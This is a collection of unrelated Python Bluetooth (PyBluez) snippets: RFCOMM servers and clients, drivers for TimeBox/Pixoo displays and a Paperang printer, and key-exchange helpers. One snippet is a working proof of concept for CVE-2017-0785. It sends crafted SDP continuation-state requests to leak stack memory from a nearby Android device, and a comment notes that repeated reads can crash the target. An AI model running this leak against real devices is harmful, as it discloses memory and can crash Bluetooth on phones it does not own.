class BtServer(object): def __init__(self): super(BtServer, self).__init__() self.socket = BluetoothSocket(RFCOMM) self.client = {} def start(self): # empty host address means this machine self.socket.bind(("", PORT_ANY)) self.socket.listen(config['backlog']) self.port = self.socket.getsockname()[1] uuid = config['uuid'] advertise_service( self.socket, "Rewave Server", service_id=uuid, service_classes=[uuid, SERIAL_PORT_CLASS], profiles=[SERIAL_PORT_PROFILE] ) print('Waiting for connection on RFCOMM channel %d' % self.port) self.client['socket'], self.client['info'] = self.socket.accept() print("Accepted connection from ", self.client['info']) def kill(self): self.socket.close() def close_connection(self): self.client['socket'].close()
def client_loop(client: bt.BluetoothSocket, cursor: sqlite3.Cursor, connection: sqlite3.Connection): while True: try: print('Try receiving') raw = client.recv(1024) print(f'Received {len(raw)} bytes: {raw}') query = decode_message(raw) query_type = query.WhichOneof("query") print(f'Query type: {query_type}') if query_type == 'get_ids': response = encode_ids(cursor) elif query_type == 'get_flower_data': flower_id = query.get_flower_data.flower_id since_time = query.get_flower_data.since_time response = encode_flower_data(flower_id, since_time, cursor) elif query_type == 'set_watering': flower_id = query.set_watering.flower_id hour = query.set_watering.hour days = query.set_watering.days set_watering(flower_id, hour, days, cursor, connection) response = encode_watering_set() else: continue raw_send = response.SerializeToString() client.send(raw_send) print(f'Sent {len(raw_send)} bytes: {raw_send}') except bt.btcommon.BluetoothError as e: print(e) client.close() break
def main(): # Setup logging setup_logging() # We need to wait until Bluetooth init is done time.sleep(10) # Make device visible os.system("hciconfig hci0 piscan") # Create a new server socket using RFCOMM protocol server_sock = BluetoothSocket(RFCOMM) # Bind to any port server_sock.bind(("", PORT_ANY)) # Start listening server_sock.listen(1) # Get the port the server socket is listening port = server_sock.getsockname()[1] # The service UUID to advertise uuid = "7be1fcb3-5776-42fb-91fd-2ee7b5bbb86d" # Start advertising the service advertise_service(server_sock, "RaspiBtSrv", service_id=uuid, service_classes=[uuid, SERIAL_PORT_CLASS], profiles=[SERIAL_PORT_PROFILE]) # These are the operations the service supports # Feel free to add more operations = ["ping", "example"] # Main Bluetooth server loop while True: print("Waiting for connection on RFCOMM channel %d" % port) client_sock = None try: # This will block until we get a new connection client_sock, client_info = server_sock.accept() print("Accepted connection from ", client_info) # Read the data sent by the client data = client_sock.recv(1024) if len(data) == 0: break print("Received [%s]" % data) # Handle the request if data == "getop": response = "op:%s" % ",".join(operations) elif data == "ping": response = "msg:Pong" elif data == "example": response = "msg:This is an example" # Insert more here else: response = "msg:Not supported" client_sock.send(response) print("Sent back [%s]" % response) except IOError: pass except KeyboardInterrupt: if client_sock is not None: client_sock.close() server_sock.close() print("Server going down") break
def task(self): # Waiting until Bluetooth init is done time.sleep(self.wakeup_time) # Make device visible self.scm.set_bluetooth_visible() # Create a new server socket using RFCOMM protocol server_sock = BluetoothSocket(RFCOMM) # Bind to any port server_sock.bind(("", PORT_ANY)) # Start listening server_sock.listen(self.max_simultaneous_connections) # Get the port the server socket is listening port = server_sock.getsockname()[1] # Main bluetooth server loop while True: logger.info( 'Waiting for bluetooth connection on channel {}'.format(port)) client_sock = None try: # Block until we get a new connection client_sock, client_info = server_sock.accept() logger.info('Accepted connection from {}'.format(client_info)) # Read the data sent by the client command = client_sock.recv(1024) if len(command) == 0: continue logger.info('Received [{}]'.format(command)) # Handle the request response = self.handle_request(command) client_sock.send(response) logger.info('Sent back [{}]'.format(response)) except IOError: pass except KeyboardInterrupt: if client_sock is not None: client_sock.close() server_sock.close() logger.info('Bluetooth server going down') break
def get_port(): while True: for port in range(1, 9): # limit 8 devices s = BluetoothSocket(RFCOMM) try: s.bind(("", port)) s.close() return port except Exception as ex: s.close() sleep(1)
class BtServer(object): def __init__(self, socket=None): super(BtServer, self).__init__() self.socket = socket def start(self): print('start called') if not self.socket: print('non socket, creating one') self.socket = BluetoothSocket(RFCOMM) # empty host address means this machine self.socket.bind(("", PORT_ANY)) self.socket.listen(config['backlog']) advertise_service( self.socket, "Rewave Server", service_id=config['uuid'], service_classes=[config['uuid'], SERIAL_PORT_CLASS], profiles=[SERIAL_PORT_PROFILE] ) self.port = self.socket.getsockname()[1] # need port for ref. self.accept() def stop(self): print("server stop called") self.socket.close() try: self.client_socket.close() except AttributeError as e: # in case if no client is connected pass def recv(self, buffer=2048): print('recv called') try: return self.client_socket.recv(buffer).decode(encoding='UTF-8') except UnicodeDecodeError as e: # return raw if unable to unicode decode return self.client_socket.recv(buffer) def send(self, data): self.client_socket.send(data) def close_connection(self): print("close_connection called") self.client_socket.close() def accept(self): # blocking call print("accept Called. Waiting for connection on RFCOMM channel", self.port) self.client_socket = self.socket.accept()[0] # returns socket, name
class CompanionDeviceBridge(Thread): """A manager for connecting to external monitoring device. This manager uses Bluetooth to connect to establish a connection with a Digibod Companion Device. """ def __init__(self): self._socket = BluetoothSocket(bluetooth.RFCOMM) self._is_connected = False def find_devices(self, discovery_time: int = 20) -> list: """Look for currently discoverable Bluetooth devices. Args: discovery_time (int): The number of seconds (20 by default) to discover available Bluetooth devices. Returns: A list of discoverable Bluetooth devices. """ nearby_devices = bluetooth.discover_devices(bluetooth.RFCOMM, duration=discovery_time) return nearby_devices def connect_to_device(self, bluetooth_address: str, port: int = 1): """Initiate a Bluetooth connection to a Companion Device. Args: bluetooth_address (str): The address of the device to connect to. port (int): 1 by default. """ try: self._socket.connect((bluetooth_address, port)) self.is_connected = True except BluetoothError as e: # TODO: Handle error print(e) def disconnect_from_device(self): self._socket.close() self.is_connected = False def send_snapshot(self, snapshot: SensorSnapshot): """Send a SensorSnapshot to the connected companion device. Args: snapshot (SensorSnapshot): Sensor data to send. """ # TODO: Send snapshot self._socket.send(snapshot.to_json()) def is_connected(self) -> bool: """Return True if this bridge is connected to a client device.""" return self._is_connected
def run_bt_server(account): """Adapted from: https://github.com/EnableTech/raspberry-bluetooth-demo""" import pdb pdb.set_trace() server_sock = BluetoothSocket(RFCOMM) server_sock.bind(("", PORT_ANY)) server_sock.listen(1) port = server_sock.getsockname()[1] print ("listening on port %d" % port) uuid = "1e0ca4ea-299d-4335-93eb-27fcfe7fa848" advertise_service( server_sock, "Mock Detector", service_id=uuid, service_classes=[uuid, SERIAL_PORT_CLASS], profiles=[SERIAL_PORT_PROFILE], # protocols=[OBEX_UUID], ) print("Waiting for connection on RFCOMM channel %d" % port) client_sock, client_info = server_sock.accept() print("Accepted connection from ", client_info) try: while True: data = client_sock.recv(1024) if len(data) == 0: break print("received [%s]" % data) if data == b'ETH_ADDRESS\r\n': client_sock.send( "ETH_ADDRESS::0x{}\r\nEND\r\n".format(account.address()) ) elif data.startswith('SIGNED_MESSAGE::'): start = len('SIGNED_MESSAGE::') user_address = data[start:start+42] message = account.create_signed_message( user_address, int(time.time()) ) client_sock.send(message) except IOError: pass print("disconnected") client_sock.close() server_sock.close() print("all done")
class BlueComm: def __init__(self): self.stop = False self.exit = False def start(self, callback): self.stop = False self.server_sock = BluetoothSocket(RFCOMM) self.server_sock.bind(("", PORT_ANY)) self.server_sock.listen(1) port = self.server_sock.getsockname()[1] uuid = "fa87c0d0-afac-11de-8a39-0800200c9a66" advertise_service(self.server_sock, "blueCommServer", service_id=uuid, service_classes=[uuid, SERIAL_PORT_CLASS], profiles=[SERIAL_PORT_PROFILE] # protocols = [ OBEX_UUID ] ) print("Waiting for connection on RFCOMM channel %d" % port) self.client_sock, self.client_info = self.server_sock.accept() print("Accepted connection from ", self.client_info) try: while not self.stop: data = self.client_sock.recv(1024) if len(data) == 0: break callback(self, data) except IOError: pass print("disconnected") self.disconnect() def disconnect(self): self.client_sock.close() self.server_sock.close()
class RFCOMMServer: """Object that simplifies setting up an RFCOMM socket server. This is based on the ``socketserver.SocketServer`` class in the Python standard library. """ request_queue_size = 1 def __init__(self, server_address, RequestHandlerClass): self.server_address = server_address self.RequestHandlerClass = RequestHandlerClass self.socket = BluetoothSocket(RFCOMM) try: self.socket.bind((server_address[0], server_address[1])) # self.server_address = self.socket.getsockname() self.socket.listen(self.request_queue_size) except Exception: self.server_close() raise def __enter__(self): return self def __exit__(self, type, value, traceback): self.server_close() def handle_request(self): try: request, addr_data = self.socket.accept() except OSError: return try: self.process_request(request, addr_data) except Exception: request.close() raise def process_request(self, request, client_address): self.finish_request(request, client_address) request.close() def finish_request(self, request, client_address): self.RequestHandlerClass(request, client_address, self) def server_close(self): self.socket.close()
def main(): target_bd_addr = args['BD_ADDR'] l2cap_mtu = 50 sock = BluetoothSocket(L2CAP) set_l2cap_mtu(sock, l2cap_mtu) sock.connect((target_bd_addr, PSM_SDP)) print('Sending the first SDP_SERVICE_SEARCH_REQ PDU') params = { 'ServiceSearchPattern': b'\x35\x03\x19\x01\x00', 'MaximumServiceRecordCount': 0xFFFF, 'ContinuationState': b'\x00' } sock.send(sdp_service_search_req(params)) sdp_service_search_rsp = sock.recv(l2cap_mtu) info_len = sdp_service_search_rsp[-3] if info_len != ANDROID_CONT_STATE_INFO_LEN: print(sdp_service_search_rsp[-3]) print('Invalid continuation state received.') sys.exit(1) stack = b'' for i in range(1, 30): # 越界读的次数太多会导致目标蓝牙崩溃 print('Sending packet %d' % i) params = { 'ServiceSearchPattern': b'\x35\x03\x19\x01\x00', 'MaximumServiceRecordCount': 0x0001, 'ContinuationState': sdp_service_search_rsp[-3:] } sock.send(sdp_service_search_req(params)) sdp_service_search_rsp = sock.recv(l2cap_mtu) # Leaked info is in ServiceRecordHandleList field stack += sdp_service_search_rsp[9:-3] sock.close() print(hexdump(stack)) if len(stack) > 20: print('CVE-2017-0785')
class PantojoBluetoothReceiver: PANTOJO_BLUETOOTH_PORT = 3 MAX_PACKET_SIZE = 34 def __init__(self): self.server_socket = BluetoothSocket(RFCOMM) self.server_socket.bind(("", self.PANTOJO_BLUETOOTH_PORT)) def open(self): self.server_socket.listen(1) self.client_socket, self.client_info = self.server_socket.accept() def recv(self): return self.client_socket.recv(self.MAX_PACKET_SIZE).strip() def close(self): self.client_socket.close() self.server_socket.close()
def main(): """ This program attempts to receive a stream of a 1000 jpeg images, saving them in the out folder """ global img, BTsocket, cLength if not os.path.exists("out"): os.makedirs("out") img = bytes() # regex to extract length from the header cLength = re.compile(r"^Content-Length: (?P<length>\d+)\r\n\r\n$") BTsocket = BluetoothSocket(RFCOMM) # search for our device found = False spp_service_devices = [] while not found: print("Searching for device...") spp_service_devices = find_service(name="UTHAR_SERVER", uuid="1101") if len(spp_service_devices): found = True # connect to the first device which advertizes the SPP service print("Device found. Connecting...") BTsocket.connect( (spp_service_devices[0]["host"], spp_service_devices[0]["port"])) start = time.time() images = 1000 img_count = 0 try: for i in range(images): print(f"\nImage {i}:") img, size = bluetooth_receive() if not img: continue with open(f"out/test{i}.jpeg", "wb") as file: file.write(img) img_count += 1 except KeyboardInterrupt: BTsocket.close() end = time.time() print( f"Received {img_count} images in {end - start:.2f} seconds: {img_count/(end - start):.2f} FPS" )
def connect(addr): global SOCK, CONSOLE, CONNECTED connected = 'Connected: {}' try: SOCK = BluetoothSocket(RFCOMM) SOCK.connect((addr, 1)) SOCK.settimeout(1) except BluetoothError as e: CONSOLE += str(e) + '\n' connected = connected.format('no') SOCK.close() SOCK = None else: CONNECTED = True connected = connected.format('yes') CONSOLE += connected + '\n' return connected
def server(addr, port, ble=False): global running print(f'Creating {"BLE" if ble else "BL"} connection') if not ble: sock = Socket(RFCOMM) sock.connect((addr, port)) else: sock = GATTRequester(addr) while running: lock.acquire() data = b''.join((key_to_order(order, speed) for order in orders)) data += b''.join((key_to_stop_order(order) for order in stop_orders)) stop_orders.clear() lock.release() if not ble: sock.send(data) else: for b in data: sock.write_by_handle(port, bytes([b])) sleep(.02) sock.close()
class RFCOMMClient: def __init__(self, client_address, RequestHandlerClass): self.client_address = client_address self.RequestHandlerClass = RequestHandlerClass self.socket = BluetoothSocket(RFCOMM) def handle_request(self): self.socket.connect((self.client_address[0], self.client_address[1])) try: self.process_request(self.socket, self.client_address) except Exception: self.socket.close() raise def process_request(self, request, client_address): self.finish_request(request, client_address) request.close() def finish_request(self, request, client_address): self.RequestHandlerClass(request, client_address, self) def client_close(self): self.socket.close()
def discover(): TimeBoxList = {} print('scanning for timebox') discovered = discover_devices(duration=5, lookup_names=True) if (not len(discovered)): print("no devices discovered") return else: for a, n in discovered: if (n and 'timebox' in n.lower()): print('checking device %s' % a) try: sock = BluetoothSocket(bluetooth.RFCOMM) sock.connect((a, 4)) hello = [ord(c) for c in sock.recv(256)] if (hello == TIMEBOX_HELLO): TimeBoxList['address'] = a TimeBoxList['sock'] = sock break else: print('invalid hello received') sock.close() except: pass if (not 'address' in TimeBoxList): print('could not find a timebox ...') return else: print("Found device : " + TimeBoxList['address']) return
class BluetoothReceive: def __init__(self, port=3, size=1024): self.port = port self.size = size self.client_socket = None self.stopped = False @inlineCallbacks def find_key(self, bt_mac, mac): self.client_socket = BluetoothSocket(RFCOMM) message = b"" try: self.client_socket.setblocking(False) try: self.client_socket.connect((bt_mac, self.port)) except BluetoothError as be: if be.args[0] == "(115, 'Operation now in progress')": pass else: raise be success = False while not self.stopped and not success: r, w, e = yield threads.deferToThread(select.select, [self.client_socket], [], [], 0.5) if r: log.info("Connection established") self.client_socket.setblocking(True) success = True # try to receive until the sender closes the connection try: while True: part_message = self.client_socket.recv(self.size) message += part_message except BluetoothError as be: if be.args[0] == "(104, 'Connection reset by peer')": log.info("Bluetooth connection closed, let's check if we downloaded the key") else: raise be mac_key = fingerprint_from_keydata(message) verified = None if mac: verified = mac_verify(mac_key.encode('ascii'), message, mac) if verified: success = True else: log.info("MAC validation failed: %r", verified) success = False message = b"" except BluetoothError as be: if be.args[0] == "(16, 'Device or resource busy')": log.info("Probably has been provided a partial bt mac") elif be.args[0] == "(111, 'Connection refused')": log.info("The sender refused our connection attempt") elif be.args[0] == "(112, 'Host is down')": log.info("The sender's Bluetooth is not available") elif be.args[0] == "(113, 'No route to host')": log.info("An error occurred with Bluetooth, if present probably the device is not powered") else: log.info("An unknown bt error occurred: %s" % be.args[0]) key_data = None success = False returnValue((key_data, success, be)) except Exception as e: log.error("An error occurred connecting or receiving: %s" % e) key_data = None success = False returnValue((key_data, success, e)) if self.client_socket: self.client_socket.close() returnValue((message.decode("utf-8"), success, None)) def stop(self): self.stopped = True if self.client_socket: try: self.client_socket.shutdown(socket.SHUT_RDWR) self.client_socket.close() except BluetoothError as be: if be.args[0] == "(9, 'Bad file descriptor')": log.info("The old Bluetooth connection was already closed") else: log.warning("An unknown bt error occurred: %s" % be.args[0])
class TimeBox: def __init__(self): self.messages = TimeBoxMessages() self.isconnected = False self.mac = '' self.socket = '' def show_text(self, txt, speed=10, font=None): """ Display text & scroll, call is blocking """ if (type(txt) is not list) or (len(txt) == 0) or (type(txt[0]) is not tuple): raise Exception("a list of tuple is expected") im = draw_multiple_to_image(txt, font) slices = horizontal_slices(im) speed = 20 - speed speed = int(50 + round(speed * 10)) logging.debug('CALLLLLLCULAAAAATED SPEED ' + str(speed)) slices[0].save('/tmp/pixoo_text_temp.gif', format='GIF', append_images=slices[1:], save_all=True, duration=speed, loop=0) f = PIL.Image.open('/tmp/pixoo_text_temp.gif') f.info['duration'] = speed f.save('/tmp/pixoo_text.gif', save_all=True) self.show_animated_image('/tmp/pixoo_text.gif') self.show_animated_image('/tmp/pixoo_text.gif') def show_static_image(self, path): logging.debug('DIVOOM------Show static image') self.send_raw('44000A0A04AA2D00000000' + divoom_image.load_image(path)) def show_animated_image(self, path): logging.debug('DIVOOM------Show animated image') messages = divoom_image.build_animation(path) logging.debug(str(messages)) self.show_static_image( os.path.join(os.path.dirname(__file__), 'images/noir.png')) for message in messages: self.send_raw(message) def connect(self, host=None, port=4): """Open a connection to the TimeBox.""" # Create the client socket for i in range(5): try: globals.PENDING_ACTION = True globals.PENDING_TIME = int(time.time()) time.sleep(3) self.socket = BluetoothSocket(RFCOMM) self.socket.connect((host, port)) self.socket.setblocking(0) self.isconnected = True self.mac = host except Exception as e: logging.error( "Got exception while attempting to connect to timebox : %s" % e) time.sleep(2) break globals.PENDING_ACTION = False globals.PENDING_TIME = int(time.time()) def close(self): """Closes the connection to the TimeBox.""" self.socket.close() self.isconnected = False if self.mac in globals.KEEPED_CONNECTION: del globals.KEEPED_CONNECTION[self.mac] def set_time(self, time=None): if not time: time = datetime.datetime.now() args = [] args.append(int(str(time.year)[2:])) args.append(int(str(time.year)[0:2])) args.append(int(time.month)) args.append(int(time.day)) args.append(int(time.hour)) args.append(int(time.minute)) args.append(int(time.second)) args.append(0) self.send_command("set date time", args) def send_command(self, command, args=None): """Send command with optional arguments""" logging.debug('DIVOOM------Send command') if args is None: args = [] if isinstance(command, str): command = self.COMMANDS[command] length = len(args) + 3 length_lsb = length & 0xff length_msb = length >> 8 payload = [length_lsb, length_msb, command] + args self.send_payload(payload) def set_static_image(self, image): """Set the image on the TimeBox""" msg = self.messages.static_image_message(image) self.socket.send(bytes(bytearray(msg))) def set_dynamic_images(self, images, frame_delay=1): """Set the image on the TimeBox""" fnum = 0 for img in images: msg = self.messages.dynamic_image_message(img, fnum, frame_delay) fnum = fnum + 1 self.socket.send(bytes(bytearray(msg))) def set_luminosity(self, slider=None): """Set Luminoity on Pixoo""" if slider == None: slider = '100' slider = hex(int(slider))[2:].zfill(2) self.send_raw('74' + slider) def set_temperature(self, temperature=None, icon=None): """Set Temperature and weather image on Pixoo""" if temperature == None: temperature = '25' temperature = hex(int(temperature))[2:].zfill(2) if icon == None: icon = '1' icon = hex(int(icon))[2:].zfill(2) self.send_raw('5F' + temperature + icon) def set_visual(self, type=None, visual=None): """Set type and visual effect on Pixoo""" if type == None: type = '3' type = hex(int(type))[2:].zfill(2) if visual == None: visual = '1' visual = hex(int(visual))[2:].zfill(2) self.send_raw('45' + type + visual) def set_notifs(self, icon=None): """Set notifs on Pixoo""" if icon == None: icon = '1' icon = hex(int(icon))[2:].zfill(2) self.send_raw('50' + icon) def set_clock(self, mode=0, clock=0, weather=0, temp=0, date=0, color=None): """Set clock and modes on Pixoo""" mode = hex(int(mode))[2:].zfill(2) clock = hex(int(clock))[2:].zfill(2) weather = hex(int(weather))[2:].zfill(2) temp = hex(int(temp))[2:].zfill(2) date = hex(int(date))[2:].zfill(2) if color == None: color = '#0000FF' color = color[1:] self.send_raw('450000' + mode + clock + weather + temp + date + color) def send_raw(self, data): """Send raw data to the TimeBox.""" logging.debug('DIVOOM------Send raw command ' + str(data)) args = [int(x) for x in bytearray.fromhex(data)] logging.debug('DIVOOM------ ' + str(args)) length = len(args) + 2 length_lsb = length & 0xff length_msb = length >> 8 payload = [length_lsb, length_msb] + args self.send_payload(payload) def send_payload(self, payload): """Send raw payload to the TimeBox. (Will be escaped, checksumed and messaged between 0x01 and 0x02.""" logging.debug('DIVOOM------Send payload') logging.debug(str(payload)) msg = self.messages.make_message(payload) logging.debug(str(msg)) logging.debug('MEEEEEEEEEEESSSSAAAAGE ' + str(bytes(bytearray(msg)).hex())) return self.socket.send(bytes(bytearray(msg)))
class BluetoothOffer: def __init__(self, key, port=3, size=1024): self.key = key self.port = port self.size = size self.server_socket = None self.message_def = None self.stopped = False self.code = None @inlineCallbacks def start(self): self.stopped = False message = "Back" success = False try: while not self.stopped and not success: # server_socket.accept() is not stoppable. So with select we can call accept() # only when we are sure that there is already a waiting connection ready_to_read, ready_to_write, in_error = yield threads.deferToThread( select.select, [self.server_socket], [], [], 0.5) if ready_to_read: # We are sure that a connection is available, so we can call # accept() without deferring it to a thread client_socket, address = self.server_socket.accept() key_data = get_public_key_data(self.key.fingerprint) kd_decoded = key_data.decode('utf-8') yield threads.deferToThread(client_socket.sendall, kd_decoded) log.info("Key has been sent") client_socket.shutdown(socket.SHUT_RDWR) client_socket.close() success = True message = None except Exception as e: log.error("An error occurred: %s" % e) success = False message = e returnValue((success, message)) def allocate_code(self): try: code = get_local_bt_address().upper() except dbus.exceptions.DBusException as e: if e.get_dbus_name() == "org.freedesktop.systemd1.NoSuchUnit": log.info("No Bluetooth devices found, probably the bluetooth service is not running") elif e.get_dbus_name() == "org.freedesktop.DBus.Error.UnknownObject": log.info("No Bluetooth devices available") else: log.error("An unexpected error occurred %s", e.get_dbus_name()) self.code = None return None if self.server_socket is None: self.server_socket = BluetoothSocket(RFCOMM) # We can also bind only the mac found with get_local_bt_address(), anyway # even with multiple bt in a single system BDADDR_ANY is not a problem self.server_socket.bind((socket.BDADDR_ANY, PORT_ANY)) # Number of unaccepted connections that the system will allow before refusing new connections backlog = 1 self.server_socket.listen(backlog) log.info("sockname: %r", self.server_socket.getsockname()) port = self.server_socket.getsockname()[1] log.info("BT Code: %s %s", code, port) bt_data = "BT={0};PT={1}".format(code, port) return bt_data def stop(self): log.debug("Stopping bt receive") self.stopped = True if self.server_socket: self.server_socket.shutdown(socket.SHUT_RDWR) self.server_socket.close() self.server_socket = None
class Paperang: standardKey = 0x35769521 padding_line = 300 max_send_msg_length = 2016 max_recv_msg_length = 1024 service_uuid = "00001101-0000-1000-8000-00805F9B34FB" def __init__(self, address=None): self.address = address self.crckeyset = False self.connected = True if self.connect() else False def connect(self): if self.address is None and not self.scandevices(): return False if not self.scanservices(): return False logging.info("Service found. Connecting to \"%s\" on %s..." % (self.service["name"], self.service["host"])) self.sock = BluetoothSocket(RFCOMM) self.sock.connect((self.service["host"], self.service["port"])) self.sock.settimeout(60) logging.info("Connected.") self.registerCrcKeyToBt() return True def disconnect(self): try: self.sock.close() except: pass logging.info("Disconnected.") def scandevices(self): logging.warning( "Searching for devices...\n" "It may take time, you'd better specify mac address to avoid a scan." ) valid_names = ['MiaoMiaoJi', 'Paperang'] nearby_devices = discover_devices(lookup_names=True) valid_devices = list( filter(lambda d: len(d) == 2 and d[1] in valid_names, nearby_devices)) if len(valid_devices) == 0: logging.error("Cannot find device with name %s." % " or ".join(valid_names)) return False elif len(valid_devices) > 1: logging.warning( "Found multiple valid machines, the first one will be used.\n") logging.warning("\n".join(valid_devices)) else: logging.warning("Found a valid machine with MAC %s and name %s" % (valid_devices[0][0], valid_devices[0][1])) self.address = valid_devices[0][0] return True def scanservices(self): logging.info("Searching for services...") service_matches = find_service(uuid=self.service_uuid, address=self.address) valid_service = list( filter( lambda s: 'protocol' in s and 'name' in s and s['protocol'] == 'RFCOMM' and s['name'] == 'SerialPort', service_matches)) if len(valid_service) == 0: logging.error("Cannot find valid services on device with MAC %s." % self.address) return False logging.info("Found a valid service") self.service = valid_service[0] return True def sendMsgAllPackage(self, msg): # Write data directly to device sent_len = self.sock.send(msg) logging.info("Sending msg with length = %d..." % sent_len) def crc32(self, content): return zlib.crc32(content, self.crcKey if self.crckeyset else self.standardKey) & 0xffffffff def packPerBytes(self, bytes, control_command, i): result = struct.pack('<BBB', 2, control_command, i) result += struct.pack('<H', len(bytes)) result += bytes result += struct.pack('<I', self.crc32(bytes)) result += struct.pack('<B', 3) return result def addBytesToList(self, bytes): length = self.max_send_msg_length result = [bytes[i:i + length] for i in range(0, len(bytes), length)] return result def sendToBt(self, data_bytes, control_command, need_reply=True): bytes_list = self.addBytesToList(data_bytes) for i, bytes in enumerate(bytes_list): tmp = self.packPerBytes(bytes, control_command, i) self.sendMsgAllPackage(tmp) if need_reply: return self.recv() def recv(self): # Here we assume that there is only one received packet. raw_msg = self.sock.recv(self.max_recv_msg_length) parsed = self.resultParser(raw_msg) logging.info("Recv: " + codecs.encode(raw_msg, "hex_codec").decode()) logging.info("Received %d packets: " % len(parsed) + "".join([str(p) for p in parsed])) return raw_msg, parsed def resultParser(self, data): base = 0 res = [] while base < len(data) and data[base] == '\x02': class Info(object): def __str__(self): return "\nControl command: %s(%s)\nPayload length: %d\nPayload(hex): %s" % ( self.command, BtCommandByte.findCommand( self.command), self.payload_length, codecs.encode(self.payload, "hex_codec")) info = Info() _, info.command, _, info.payload_length = struct.unpack( '<BBBH', data[base:base + 5]) info.payload = data[base + 5:base + 5 + info.payload_length] info.crc32 = data[base + 5 + info.payload_length:base + 9 + info.payload_length] base += 10 + info.payload_length res.append(info) return res def registerCrcKeyToBt(self, key=0x6968634 ^ 0x2e696d): logging.info("Setting CRC32 key...") msg = struct.pack('<I', int(key ^ self.standardKey)) self.sendToBt(msg, BtCommandByte.PRT_SET_CRC_KEY) self.crcKey = key self.crckeyset = True logging.info("CRC32 key set.") def sendPaperTypeToBt(self, paperType=0): # My guess: # paperType=0: normal paper # paperType=1: official paper msg = struct.pack('<B', paperType) self.sendToBt(msg, BtCommandByte.PRT_SET_PAPER_TYPE) def sendPowerOffTimeToBt(self, poweroff_time=0): msg = struct.pack('<H', poweroff_time) self.sendToBt(msg, BtCommandByte.PRT_SET_POWER_DOWN_TIME) def sendImageToBt(self, binary_img): self.sendPaperTypeToBt() # msg = struct.pack("<%dc" % len(binary_img), *map(bytes, binary_img)) msg = b"".join( map(lambda x: struct.pack("<c", x.to_bytes(1, byteorder="little")), binary_img)) self.sendToBt(msg, BtCommandByte.PRT_PRINT_DATA, need_reply=False) self.sendFeedLineToBt(self.padding_line) def sendSelfTestToBt(self): msg = struct.pack('<B', 0) self.sendToBt(msg, BtCommandByte.PRT_PRINT_TEST_PAGE) def sendDensityToBt(self, density): msg = struct.pack('<B', density) self.sendToBt(msg, BtCommandByte.PRT_SET_HEAT_DENSITY) def sendFeedLineToBt(self, length): msg = struct.pack('<H', length) self.sendToBt(msg, BtCommandByte.PRT_FEED_LINE) def queryBatteryStatus(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_BAT_STATUS) def queryDensity(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_HEAT_DENSITY) def sendFeedToHeadLineToBt(self, length): msg = struct.pack('<H', length) self.sendToBt(msg, BtCommandByte.PRT_FEED_TO_HEAD_LINE) def queryPowerOffTime(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_POWER_DOWN_TIME) def querySNFromBt(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_SN) def queryHardwareInfo(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_HW_INFO)
class Networkable: def __init__(self, is_server: bool = True): self.is_server = is_server self._threads = {} self._connections = {} self.socket = BluetoothSocket(RFCOMM) self.socket_is_ready = False self.socket_thread = self.spawn_thread("Accepting", self._accept, True).start() def connect(self): while True: if self.is_server: self.socket.bind(("", PORT_ANY)) self.socket.listen(8) _util.AdvertiseService(True, self.socket) self.socket_is_ready = True return else: found = _util.FindValidDevices(False) if len(found) >= 1: for address in found.keys(): try: host, port = address.split("~") self.socket.connect((host, int(port))) self.socket_is_ready = True return except Exception: continue else: _logging.Log(_logging.LogType.Info, "Unable to find a server!", False).post() def _accept(self): if not self.socket_is_ready or self.socket is None: return sock, addr = self.socket.accept() self.save_connection(sock, addr) def recieve(self, connection: object = None, data: str = None): raise NotImplementedError() def spawn_thread(self, name: str = None, target=None, loop: bool = False, args=tuple(), kwargs={}): if self._threads is None: return None self.close_thread(name) T = _threading.SimpleThread(target, loop, args, kwargs) self._threads[name] = T return T def close_thread(self, name: str = None): if self.thread_exists(name) and self._threads is not None: T = self._threads[name] del self._threads[name] T.stop() return True else: return False def thread_exists(self, name: str = None): return name in self._threads def save_connection(self, socket: BluetoothSocket = None, addr: str = None): if self._connections is None: return c = ConnectionHandle(addr, socket, self.recieve) self._connections[addr] = c return c def close_connection(self, addr: str = None): if self.has_connection(addr) and self._connections is not None: connection = self._connections[addr] del self._connections[addr] connection.close() return True else: return False def has_connection(self, addr: str = None): return addr in self._connections and not self._connections[addr].closed def __del__(self): # Close connections and threads for thread in self._threads.values(): thread.stop() for connection in self._connections.values(): connection.close() self._threads = None self._connections = None # Close socket related items self.socket_is_ready = False self.socket.close() self.socket = None
class TimeBox: """Class TimeBox encapsulates the TimeBox communication.""" DEFAULTHOST = config.timebox_mac COMMANDS = { "switch radio": 0x05, "set volume": 0x08, "get volume": 0x09, "set mute": 0x0a, "get mute": 0x0b, "set date time": 0x18, "set image": 0x44, "set view": 0x45, "set animation frame": 0x49, "get temperature": 0x59, "get radio frequency": 0x60, "set radio frequency": 0x61 } socket = None messages = None message_buf = [] def __init__(self): self.messages = TimeBoxMessages() def show_text(self, txt, speed=20, font=None): """ Display text & scroll, call is blocking """ if (type(txt) is not list) or (len(txt)==0) or (type(txt[0]) is not tuple): raise Exception("a list of tuple is expected") im = draw_multiple_to_image(txt, font) slices = horizontal_slices(im) for i, s in enumerate(slices): #s.save("./debug/%s.bmp"%i) self.set_static_image(build_img(s)) time.sleep(1.0/speed) def show_text2(self, txt, font=None): """ Use dynamic_image_message to display scolling text Cannot go faster than 1fps """ if (type(txt) is not list) or (len(txt)==0) or (type(txt[0]) is not tuple): raise Exception("a list of tuple is expected") imgs = [] im = divoom_image.draw_multiple_to_image(txt, font) slices = horizontal_slices(im) for i, s in enumerate(slices): # s.save("./debug/%s.bmp"%i) imgs.append(build_img(s)) print len(imgs) self.set_dynamic_images(imgs) def show_static_image(self, path): self.set_static_image(divoom_image.load_image(path)) def show_animated_image(self, path): self.set_dynamic_images(divoom_image.load_gif_frames(path)) def connect(self, host=None, port=4): """Open a connection to the TimeBox.""" # Create the client socket if host is None: host = self.DEFAULTHOST #print("connecting to %s at %s" % (self.host, self.port)) self.socket = BluetoothSocket(RFCOMM) self.socket.connect((host, port)) self.socket.setblocking(0) def close(self): """Closes the connection to the TimeBox.""" self.socket.close() def receive(self, num_bytes=1024): """Receive n bytes of data from the TimeBox and put it in the input buffer.""" ready = select.select([self.socket], [], [], 0.1) if ready[0]: self.message_buf += self.socket.recv(num_bytes) def send_raw(self, data): """Send raw data to the TimeBox.""" return self.socket.send(data) def send_payload(self, payload): """Send raw payload to the TimeBox. (Will be escaped, checksumed and 